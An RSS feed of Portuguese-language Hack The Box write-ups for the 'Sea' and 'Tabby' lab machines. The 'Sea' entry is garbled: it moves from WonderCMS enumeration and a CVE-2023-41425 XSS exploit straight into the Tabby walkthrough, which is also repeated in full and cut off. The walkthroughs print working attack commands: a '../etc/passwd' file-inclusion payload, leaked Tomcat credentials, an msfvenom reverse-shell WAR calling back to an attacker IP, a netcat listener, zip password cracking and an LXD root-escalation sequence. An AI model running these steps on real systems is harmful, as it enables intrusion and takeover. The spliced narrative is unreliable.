<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <docs>https://blogs.law.harvard.edu/tech/rss</docs>
    <title>FXShell - DevOps &amp; Sec</title>
    <link>https://fxshell.com.br/htb/</link>
    <description>Recent content on FXShell - DevOps &amp; Sec</description>
    <image>
      <title>FXShell - DevOps &amp; Sec</title>
      <link>https://fxshell.com.br/htb/</link>
      <url>fxshell.png</url>
    </image>
    <ttl>1440</ttl>
    <generator>Hugo 0.152.2</generator>
    <language>pt-br</language>
    <lastBuildDate>Thu, 14 May 2026 21:17:58 UT</lastBuildDate>
    <atom:link href="https://fxshell.com.br/htb/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Sea</title>
      <link>https://fxshell.com.br/htb/sea/</link>
      <pubDate>Mon, 19 Oct 2020 19:49:28 UT</pubDate>
      <dc:creator>Felipe da Matta</dc:creator>
      <guid>https://fxshell.com.br/htb/sea/</guid>
      <description>
Já comecei pegando o ip da VM e adicionando no meu hosts.
Depois já comecei a rodar o nmap nmap -sC -Pn -T4 -v -p- 10.10.11.28
PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA) | 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA) |_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519) 80/tcp open http |_http-title: Sea - Home | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS Apresenta um sitezinho maneiro demais, sou ciclista então já curti a porta 80 está hospedando um site para ciclismo noturno e intitulado banner velik71. Cliquei em &ldquo;how-to-participate&rdquo; e depois em &ldquo;contact&rdquo;
</description>
      <content:encoded><![CDATA[
Já comecei pegando o ip da VM e adicionando no meu hosts.
Depois já comecei a rodar o nmap nmap -sC -Pn -T4 -v -p- 10.10.11.28
PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA) | 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA) |_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519) 80/tcp open http |_http-title: Sea - Home | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS Apresenta um sitezinho maneiro demais, sou ciclista então já curti a porta 80 está hospedando um site para ciclismo noturno e intitulado banner velik71. Cliquei em &ldquo;how-to-participate&rdquo; e depois em &ldquo;contact&rdquo;
O http://sea.htb/contact.php , é um formulário POST com um servidor PHP
Bom, vou partir para enumeração de diretórios, depois vouto ali. Usei o gobuster pra isso:
➜ ~ gobuster dir -u http://10.10.11.28 -w /usr/share/dirb/wordlists/big.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.11.28 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.htaccess (Status: 403) [Size: 199] /.htpasswd (Status: 403) [Size: 199] /0 (Status: 200) [Size: 3670] /404 (Status: 200) [Size: 3361] /Documents and Settings (Status: 403) [Size: 199] /Program Files (Status: 403) [Size: 199] Progress: 2174 / 20470 (10.62%) Progress: 2199 / 20470 (10.74%) /contact us (Status: 403) [Size: 199] /data (Status: 301) [Size: 232] [--&gt; http://10.10.11.28/data/] /donate cash (Status: 403) [Size: 199] /external files (Status: 403) [Size: 199] /home page (Status: 403) [Size: 199] /home (Status: 200) [Size: 3670] /messages (Status: 301) [Size: 236] [--&gt; http://10.10.11.28/messages/] /modern mom (Status: 403) [Size: 199] /my project (Status: 403) [Size: 199] /neuf giga photo (Status: 403) [Size: 199] /planned giving (Status: 403) [Size: 199] /plugins (Status: 301) [Size: 235] [--&gt; http://10.10.11.28/plugins/] /press releases (Status: 403) [Size: 199] /privacy policy (Status: 403) [Size: 199] /reports list (Status: 403) [Size: 199] /server-status (Status: 403) [Size: 199] /site map (Status: 403) [Size: 199] /style library (Status: 403) [Size: 199] /themes (Status: 301) [Size: 234] [--&gt; http://10.10.11.28/themes/] /web references (Status: 403) [Size: 199] Progress: 20469 / 20470 (100.00%) =============================================================== Finished =============================================================== Vamos desconsiderar os 400 e focar nos 301 que podem ser erros de direcionamentos e diretorios configurados incorretamente. Fiz uma nova busca agora partindo da URL &ldquo;/themes&rdquo; debaixo pra cima, e encontrei outra pasta com 301 &ldquo;/bike&rdquo;.
=============================================================== Starting gobuster in directory enumeration mode =============================================================== /.htpasswd (Status: 403) [Size: 199] /.htaccess (Status: 403) [Size: 199] /404 (Status: 200) [Size: 3341] /Documents and Settings (Status: 403) [Size: 199] /Program Files (Status: 403) [Size: 199] /bike (Status: 301) [Size: 235] [--&gt; http://sea.htb/themes/bike/] ### bem aqui!! Fiz uma enumeração mais detalhaada dentro de &ldquo;/themes/bike/&rdquo; e encontrei isso aqui:
➜ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u &#34;http://sea.htb/themes/bike/FUZZ&#34; -t 200 -fc 403 /&#39;___\ /&#39;___\ /&#39;___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://sea.htb/themes/bike/ :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 200 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response status: 403 ________________________________________________ README.md [Status: 200, Size: 318, Words: 40, Lines: 16, Duration: 189ms] sym/root/home/ [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 1405ms] version [Status: 200, Size: 6, Words: 1, Lines: 2, Duration: 143ms] Fiz um curl em &ldquo;version&rdquo; e &ldquo;README.md&rdquo; e recebi isso aqui
➜ ~ curl http://sea.htb/themes/bike/version 3.2.0 ➜ ~ curl http://sea.htb/themes/bike/README.md # WonderCMS bike theme ## Description Includes animations. ## Author: turboblack ## Preview ![Theme preview](/preview.jpg) ## How to use 1. Login to your WonderCMS website. 2. Click &#34;Settings&#34; and click &#34;Themes&#34;. 3. Find theme in the list and click &#34;install&#34;. 4. In the &#34;General&#34; tab, select theme to activate it. Buscando esse WonderCMS e versão no google podemosnos deparar com a CVE-2023-41425, https://github.com/prodigiousMind/CVE-2023-41425, pelo que entendi a vulnerabilidade CVE-2023-41425 no Wonder CMS versões 3.2.0 a 3.4.2 é uma falha de Cross Site Scripting (XSS) que permite a execução de código arbitrário. A falha ocorre no componente installModule, onde um invasor remoto pode injetar um script malicioso ao carregar um módulo criado. Esse script é então executado no navegador das vítimas, permitindo ao atacante realizar ações como roubo de cookies, redirecionamento de páginas ou outras ações maliciosas.
Fiz o clone da CVE e vou executar o arquivo .py do exploit
➜ sea git clone https://github.com/prodigiousMind/CVE-2023-41425.git Cloning into &#39;CVE-2023-41425&#39;... remote: Enumerating objects: 6, done. remote: Counting objects: 100% (6/6), done. remote: Compressing objects: 100% (5/5), done. remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0) Receiving objects: 100% (6/6), done. ➜ sea ls CVE-2023-41425 ➜ sea cd CVE-2023-41425 ➜ CVE-2023-41425 git:(main) ls exploit.py README.md ➜ CVE-2023-41425 git:(main) Eu abri o arquivo &ldquo;exploit.py&rdquo; para analisar e percebi que precisamos criar um arquivo xss.js. Esse JavaScript é injetado por meio de um vetor de ataque XSS. Para disponibilizar o arquivo xss.js ao alvo, o script configura um servidor HTTP simples (usando python3 -m http.server) na máquina do atacante (porta padrão 8000).
O script original obtém dados do GitHub, mas como o servidor HTB não tem acesso à internet, baixamos o repositório manualmente e o transferimos para a máquina alvo. Após instalar o módulo, o script ativa o shell reverso enviando o IP e a porta do ouvinte usando um comando específico.
Bom, pra entender melhor vou colocar o print daquele form de contato que achamos no gobuster, eai jogamos o XSS no campo &ldquo;website&rdquo;.
Injetando o script e ouvindo na porta local
E agora abrimos o formulário em
http://megahosting.htb:8080/
Coloquei meu ip no meu hosts &gt; para o nome do site
ele mostra o local no path /var/lib/
tomcat9/webapps/ROOT/index.html
/var/lib/tomcat9
/usr/share/doc/tomcat9-common/RUNNING.txt.gz
/etc/tomcat9/tomcat-users.xml.
Esse site tem LFI
https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/
Por isso entendi o por que dos paths dentro da porta 8080
exemplo:
megahosting.htb/news.php?file=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false sshd:x:111:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false tomcat:x:997:997::/opt/tomcat:/bin/false mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false ash:x:1000:1000:clive:/home/ash:/bin/bash agora consigo ver dentro desses paths que ele deu a dica lá atrás
/var/lib/tomcat9/webapps/ROOT/index.html
/var/lib/tomcat9
/usr/share/doc/tomcat9-common/RUNNING.txt.gz
/etc/tomcat9/tomcat-users.xml.
http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml Inspecione a págna para ver os atributos de acordo com a documentação do LFI
&lt;role rolename=&#34;admin-gui&#34;/&gt; &lt;role rolename=&#34;manager-script&#34;/&gt; &lt;user username=&#34;tomcat&#34; password=&#34;$3cureP4s5w0rd123!&#34; roles=&#34;admin-gui,manager-script&#34;/&gt; &lt;/tomcat-users&gt; agora podemos fazer o shell reverso igual nas outras maquinas
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.29 &lt;IP&gt; LPORT=4444 -f war &gt; exploit.war Depois fazemos upload do arquivo war
curl --user &#39;tomcat:$3cureP4s5w0rd123!&#39; --upload-file exploit.war &#34;http://10.10.10.194:8080/manager/text/deploy?path=/exploit.war&#34; em outra aba do terminal, deixe escutando na porta que desejar
nc -nvlp 4444 com o netcat
Quando estiver ouvindo a porta, vá no navegador e chame o arquivo que vc acabou de fazer o upload
http://10.10.10.194:8080/exploit.war/ volte no terminal, ele vai ter conectado via shell agora execute o shell reverso em python para o term
listening on [any] 4444 ... connect to [10.10.14.29] from (UNKNOWN) [10.10.10.194] 50476 python3 -c &#34;import pty;pty.spawn(&#39;/bin/bash&#39;)&#34; python3 -c &#34;import pty;pty.spawn(&#39;/bin/bash&#39;)&#34; tomcat@tabby:/var/lib/tomcat9$ Agora entre em /var/www/files
vc vai encontrar o arquivo 16162020_backup.zip
acesse no navegador
10.10.10.194/files/16162020_backup.zip
e baixe o arquivo zip para sua maquina
ele ta protegido com senha
vai ser necessário usar o fcrackzip nele se não tiver ele instalado, basta, instalar:
apt-get install fcrackzip root  ~  fcrackzip -h fcrackzip version 1.0, a fast/free zip password cracker written by Marc Lehmann &lt;pcg@goof.com&gt; You can find more info on http://www.goof.com/pcg/marc/ USAGE: fcrackzip [-b|--brute-force] use brute force algorithm [-D|--dictionary] use a dictionary [-B|--benchmark] execute a small benchmark [-c|--charset characterset] use characters from charset [-h|--help] show this message [--version] show the version of this program [-V|--validate] sanity-check the algorithm [-v|--verbose] be more verbose [-p|--init-password string] use string as initial password/file [-l|--length min-max] check password with length min to max [-u|--use-unzip] use unzip to weed out wrong passwords [-m|--method num] use method number &#34;num&#34; (see below) [-2|--modulo r/m] only calculcate 1/m of the password file... the zipfiles to crack methods compiled in (* = default): 0: cpmask 1: zip1 *2: zip2, USE_MULT_TAB Usei esses parametros e a lista rockyou para fazer o brute forte
fcrackzip -b -D -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip Foi rápido até
possible pw found: admin@it ()
com essa senha da para descompactar o arquivo na verdade essa senha nao vai ser para descompactar o arquivo, essa senha é do user da maquina
Depois volte para o terminal logado na maquina e va para o
cd /home
Faça login com esse tal de ash
tomcat@tabby:/home$ ls ls ash tomcat@tabby:/home$ cd ash cd ash bash: cd: ash: Permission denied tomcat@tabby:/home$ su ash su ash Password: admin@it ash@tabby:/home$ ls ls ash ash@tabby:/home$ ash@tabby:/home$ cd ash cd ash ash@tabby:~$ ls ls linpeas.sh snap user.txt ash@tabby:~$ a flag de user
ash@tabby:~$ id id uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd) ash@tabby:~$ sudo -l sudo: unable to open /run/sudo/ts/ash: Read-only file system [sudo] password for ash: Sorry, user ash may not run sudo on tabby. Para o root está sendo mais dificil
encontrei este cara
https://book.hacktricks.xyz/linux-unix/privilege-escalation/lxd-privilege-escalation
https://github.com/lxc/distrobuilder
ele monta um container, dentro da pasta que vc quiser e estipular no seu S.O e escala o privilégio montando um container dentro da maquina alvo, vou testar
basta seguir os passos certinho dessa doc ai que monta o container. Abre uma outra aba no terminal e deixa escutando o httpServer para transferir os arquivos
┌─[root@liquid]─[~/Desktop/HTB/tabby/lxd-alpine-builder] └──╼ #ls -l total 3180 -rw-r--r-- 1 root root 3212312 Jun 21 22:04 alpine-v3.12-x86_64-20200621_2204.tar.gz -rwxr-xr-x 1 root root 7498 Jun 21 22:03 build-alpine -rw-r--r-- 1 root root 26530 Jun 21 22:03 LICENSE -rw-r--r-- 1 root root 768 Jun 21 22:03 README.md ┌─[✗]─[root@liquid]─[~/Desktop/HTB/tabby/lxd-alpine-builder] └──╼ #python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... &lt; /pre&gt; ash@tabby:~$ wget http://10.10.14.29:8000/rootfs.squashfs ash@tabby:~$ wget http://10.10.14.29:8000/lxd.tar.gz O meu lxd.tar.gz ele veio com lxd.tar.xz Eu dei um &#39;mv&#39; e renomeei ele para &#39;gz&#39;, fiz com xz e deu erro. Passei os arquivos da maquina para dentro da maquiina tabby, ele me gerou esses dois arquivos no caso
lxd.tar.xz e rootfs.squashfs Depois
na maquina tabby
fiz o import desse container
A maquina já contém o lxc instalado
ash@tabby:~$ lxc image import ./lxd.tar.gz rootfs.squashfs --alias alpine rootfs.squashfs = esse arquivo que vai proporcionar o root na maquina é maneiro essa montagem de container.
Com o comando lxc image list vc consegue ver todos os containers montados, no caso só o seu
ash@tabby:~$ lxc image list lxc image list +--------+--------------+--------+--------------+--------------+-----------+---------+-------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE | +--------+--------------+--------+--------------+--------------+-----------+---------+-------------------------------+ | alpine | a5f784005c68 | no | Ubuntu focal | x86_64 | CONTAINER | 97.74MB | Jul 10, 2020 at 10:50pm (UTC) | +--------+--------------+--------+--------------+--------------+-----------+---------+-------------------------------+ fui seguindo o tutorial do LXC no link lá em cima.
lxd init Esse comando vai começar a montar o container, ele vai fazer uma serie de perguntas, vai deixando tudo como &lsquo;default&rsquo;
ash@tabby:~$ lxd init Would you like to use LXD clustering? (yes/no) [default=no]: no Do you want to configure a new storage pool? (yes/no) [default=yes]: no Would you like to connect to a MAAS server? (yes/no) [default=no]: ^C ash@tabby:~$ lxd init Would you like to use LXD clustering? (yes/no) [default=no]: no Do you want to configure a new storage pool? (yes/no) [default=yes]: yes Name of the new storage pool [default=default]: Name of the storage backend to use (dir, lvm, ceph, btrfs) [default=btrfs]: dir Would you like to connect to a MAAS server? (yes/no) [default=no]: no Would you like to create a new local network bridge? (yes/no) [default=yes]: What should the new bridge be called? [default=lxdbr0]: The requested network bridge &#34;lxdbr0&#34; already exists. Please choose another name. What should the new bridge be called? [default=lxdbr0]: The requested network bridge &#34;lxdbr0&#34; already exists. Please choose another name. What should the new bridge be called? [default=lxdbr0]: liquid What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: Would you like LXD to be available over the network? (yes/no) [default=no]: Would you like stale cached images to be updated automatically? (yes/no) [default=yes] Would you like a YAML &#34;lxd init&#34; preseed to be printed? (yes/no) [default=no]: Depois que montei, usei o comando abaixo para iniciar ele.
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true lxc init alpine privesc -c security.privileged=true Creating privesc ash@tabby:~$ lxc list lxc list +---------+---------+------+------+-----------+-----------+ | NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | +---------+---------+------+------+-----------+-----------+ | privesc | STOPPED | | | CONTAINER | 0 | +---------+---------+------+------+-----------+-----------+ Ele foi criaado, porém está stopado. Fala na documentação que precisa configurar ele no mnt ai eu fiz isso dessa forma:
lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true (consta na documentação também) ele sempre cria o container com o nome &lsquo;privesc&rsquo;
ash@tabby:~$ lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true Device mydevice added to privesc Ele foi montado com sucesso, agora só dar o start no container.
ash@tabby:~$ lxc start privesc lxc start privesc ash@tabby:~$ lxc exec privesc /bin/sh lxc exec privesc /bin/sh # id id uid=0(root) gid=0(root) groups=0(root) # cd /mnt/root cd /mnt/root # ls ls bin dev lib libx32 mnt root snap sys var boot etc lib32 lost+found opt run srv tmp cdrom home lib64 media proc sbin swap.img usr # cd root cd root # ls ls root.txt snap # cat root.txt cat root.txt 653d95c2eb0f63629eeb048ea1d0a3b5 # ]]></content:encoded>
    </item>
    <item>
      <title>Tabby</title>
      <link>https://fxshell.com.br/htb/tabby/</link>
      <pubDate>Mon, 19 Oct 2020 19:49:28 UT</pubDate>
      <dc:creator>Felipe da Matta</dc:creator>
      <guid>https://fxshell.com.br/htb/tabby/</guid>
      <description>
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Mega Hosting 8080/tcp open http Apache Tomcat | http-methods: |_ Supported Methods: OPTIONS GET HEAD POST |_http-open-proxy: Proxy might be redirecting requests |_http-title: Apache Tomcat Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. Initiating NSE at 17:20 Completed NSE at 17:20, 0.00s elapsed Initiating NSE at 17:20 Completed NSE at 17:20, 0.00s elapsed Initiating NSE at 17:20 Completed NSE at 17:20, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.88 seconds Raw packets sent: 82699 (3.639MB) | Rcvd: 66386 (2.655MB) </description>
      <content:encoded><![CDATA[
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Mega Hosting 8080/tcp open http Apache Tomcat | http-methods: |_ Supported Methods: OPTIONS GET HEAD POST |_http-open-proxy: Proxy might be redirecting requests |_http-title: Apache Tomcat Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. Initiating NSE at 17:20 Completed NSE at 17:20, 0.00s elapsed Initiating NSE at 17:20 Completed NSE at 17:20, 0.00s elapsed Initiating NSE at 17:20 Completed NSE at 17:20, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.88 seconds Raw packets sent: 82699 (3.639MB) | Rcvd: 66386 (2.655MB) blz vou tentar acessar a porta 8080
http://megahosting.htb:8080/
Coloquei meu ip no meu hosts &gt; para o nome do site
ele mostra o local no path /var/lib/
tomcat9/webapps/ROOT/index.html
/var/lib/tomcat9
/usr/share/doc/tomcat9-common/RUNNING.txt.gz
/etc/tomcat9/tomcat-users.xml.
Esse site tem LFI
https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/
Por isso entendi o por que dos paths dentro da porta 8080
exemplo:
megahosting.htb/news.php?file=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false sshd:x:111:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false tomcat:x:997:997::/opt/tomcat:/bin/false mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false ash:x:1000:1000:clive:/home/ash:/bin/bash agora consigo ver dentro desses paths que ele deu a dica lá atrás
/var/lib/tomcat9/webapps/ROOT/index.html
/var/lib/tomcat9
/usr/share/doc/tomcat9-common/RUNNING.txt.gz
/etc/tomcat9/tomcat-users.xml.
http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml Inspecione a págna para ver os atributos de acordo com a documentação do LFI
&lt;role rolename=&#34;admin-gui&#34;/&gt; &lt;role rolename=&#34;manager-script&#34;/&gt; &lt;user username=&#34;tomcat&#34; password=&#34;$3cureP4s5w0rd123!&#34; roles=&#34;admin-gui,manager-script&#34;/&gt; &lt;/tomcat-users&gt; agora podemos fazer o shell reverso igual nas outras maquinas
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.29 &lt;IP&gt; LPORT=4444 -f war &gt; exploit.war Depois fazemos upload do arquivo war
curl --user &#39;tomcat:$3cureP4s5w0rd123!&#39; --upload-file exploit.war &#34;http://10.10.10.194:8080/manager/text/deploy?path=/exploit.war&#34; em outra aba do terminal, deixe escutando na porta que desejar
nc -nvlp 4444 com o netcat
Quando estiver ouvindo a porta, vá no navegador e chame o arquivo que vc acabou de fazer o upload
http://10.10.10.194:8080/exploit.war/ volte no terminal, ele vai ter conectado via shell agora execute o shell reverso em python para o term
listening on [any] 4444 ... connect to [10.10.14.29] from (UNKNOWN) [10.10.10.194] 50476 python3 -c &#34;import pty;pty.spawn(&#39;/bin/bash&#39;)&#34; python3 -c &#34;import pty;pty.spawn(&#39;/bin/bash&#39;)&#34; tomcat@tabby:/var/lib/tomcat9$ Agora entre em /var/www/files
vc vai encontrar o arquivo 16162020_backup.zip
acesse no navegador
10.10.10.194/files/16162020_backup.zip
e baixe o arquivo zip para sua maquina
ele ta protegido com senha
vai ser necessário usar o fcrackzip nele se não tiver ele instalado, basta, instalar:
apt-get install fcrackzip root  ~  fcrackzip -h fcrackzip version 1.0, a fast/free zip password cracker written by Marc Lehmann &lt;pcg@goof.com&gt; You can find more info on http://www.goof.com/pcg/marc/ USAGE: fcrackzip [-b|--brute-force] use brute force algorithm [-D|--dictionary] use a dictionary [-B|--benchmark] execute a small benchmark [-c|--charset characterset] use characters from charset [-h|--help] show this message [--version] show the version of this program [-V|--validate] sanity-check the algorithm [-v|--verbose] be more verbose [-p|--init-password string] use string as initial password/file [-l|--length min-max] check password with length min to max [-u|--use-unzip] use unzip to weed out wrong passwords [-m|--method num] use method number &#34;num&#34; (see below) [-2|--modulo r/m] only calculcate 1/m of the password file... the zipfiles to crack methods compiled in (* = default): 0: cpmask 1: zip1 *2: zip2, USE_MULT_TAB Usei esses parametros e a lista rockyou para fazer o brute forte
fcrackzip -b -D -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip Foi rápido até
possible pw found: admin@it ()
com essa senha da para descompactar o arquivo na verdade essa senha nao vai ser para descompactar o arquivo, essa senha é do user da maquina
Depois volte para o terminal logado na maquina e va para o
cd /home
Faça login com esse tal de ash
tomcat@tabby:/home$ ls ls ash tomcat@tabby:/home$ cd ash cd ash bash: cd: ash: Permission denied tomcat@tabby:/home$ su ash su ash Password: admin@it ash@tabby:/home$ ls ls ash ash@tabby:/home$ ash@tabby:/home$ cd ash cd ash ash@tabby:~$ ls ls linpeas.sh snap user.txt ash@tabby:~$ a flag de user
ash@tabby:~$ id id uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd) ash@tabby:~$ sudo -l sudo: unable to open /run/sudo/ts/ash: Read-only file system [sudo] password for ash: Sorry, user ash may not run sudo on tabby. Para o root está sendo mais dificil
encontrei este cara
https://book.hacktricks.xyz/linux-unix/privilege-escalation/lxd-privilege-escalation
https://github.com/lxc/distrobuilder
ele monta um container, dentro da pasta que vc quiser e estipular no seu S.O e escala o privilégio montando um container dentro da maquina alvo, vou testar
basta seguir os passos certinho dessa doc ai que monta o container. Abre uma outra aba no terminal e deixa escutando o httpServer para transferir os arquivos
